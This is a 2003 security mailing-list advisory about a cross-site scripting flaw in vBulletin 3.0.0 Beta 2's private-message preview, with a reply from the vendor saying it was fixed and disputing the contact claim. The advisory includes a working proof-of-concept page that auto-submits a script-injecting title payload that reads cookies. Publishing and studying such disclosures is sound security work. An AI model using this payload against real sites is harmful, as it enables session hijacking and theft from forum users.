VBulletin Preview Message - XSS Vuln

[Ferruh Mavituna]

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VBulletin Private Message "Preview Message" XSS Vulnerability
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Any kind of XSS attacks possibility.

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About VBulletin;
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PHP Based Popular Forum Application
Vendor & Demo;
http://www.vbulletin.com/

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Vulnerable;
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vBulletin 3.0.0 Beta 2

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Non Vulnerable;
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vBulletin 2.2

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Vendor Status;
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I can not contact vendor for this issue ! No patch available at the moment;

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Solution;
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HTML Encoding like post thread preview page;

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Exploit Code;
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<html>
<body>
<form action="http://[victim]/forum/private.php" method="post"
name="vbform">
<input type="hidden" name="do" value="insertpm" />
<input type="hidden" name="pmid" value="" />
<input type="hidden" name="forward" value="" />
<input type="hidden" name="receipt" value="0" />

<input type="text" class="bginput" name="title" value="" size="40"
tabindex="2" />
<textarea name="message" rows="20" cols="70" wrap="virtual"
tabindex="3"></textarea>
<input type="submit" class="button" name="sbutton" value="Post Message"
accesskey="s" tabindex="4" />
<input type="submit" class="button" value="Preview Message" accesskey="p"
name="preview" onclick="this.form.dopreview = true; return
true;this.form.submit()" tabindex="5" >

<input type="checkbox" name="savecopy" value="1" id="cb_savecopy"
checked="checked" />
<input type="checkbox" name="signature" value="1" id="cb_signature" />
<input type="checkbox" name="parseurl" value="1" id="cb_parseurl"
checked="checked" />
<input type="checkbox" name="disablesmilies" value="1"
id="cb_disablesmilies" />
</form>
<script>
//Set Values and Submit
// You can write your own JS codes
var xss = "\"><script>alert(document.cookie)<\/script>";
document.vbform.title.value=xss;
document.vbform.preview.click();
</script>
</body>
</html>


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Ferruh Mavituna
Web Application Security Consultant
Freelance Developer & Designer
http://ferruh.mavituna.com
ferruh@mavituna.com

[Kier Darby]

In-Reply-To: <004b01c319f8$c76cdc90$0b6aaec3@SS>

>Message-ID: <004b01c319f8$c76cdc90$0b6aaec3@SS>
>From: "Ferruh Mavituna" <ferruh@mavituna.com>
>To: <bugtraq@securityfocus.com>
>Subject: VBulletin Preview Message - XSS Vuln
>Date: Wed, 14 May 2003 12:11:11 +0300

>------------------------------------------------------
>VBulletin Private Message "Preview Message" XSS Vulnerability
>------------------------------------------------------
>Any kind of XSS attacks possibility.
>
>------------------------------------------------------
>Vendor Status;
>------------------------------------------------------
>I can not contact vendor for this issue ! No patch available at the
moment;

This bug was fixed within ten minutes of our being told about this report.

As for claims that the reporter was unable to contact us, I am rather
surprised - we have scoured our support ticket system which accepts all
email for @vbulletin.com and found nothing, we have all checked our own
email and found nothing, so I'm not sure how hard the reporter tried to
contact us in actual fact.

vBulletin 3 is not yet in public beta, so the number of sites affected
will be extremely small, and in any case the fixed version is available
for those customers who are part of the private beta to download.

Kier Darby
Product Manager, vBulletin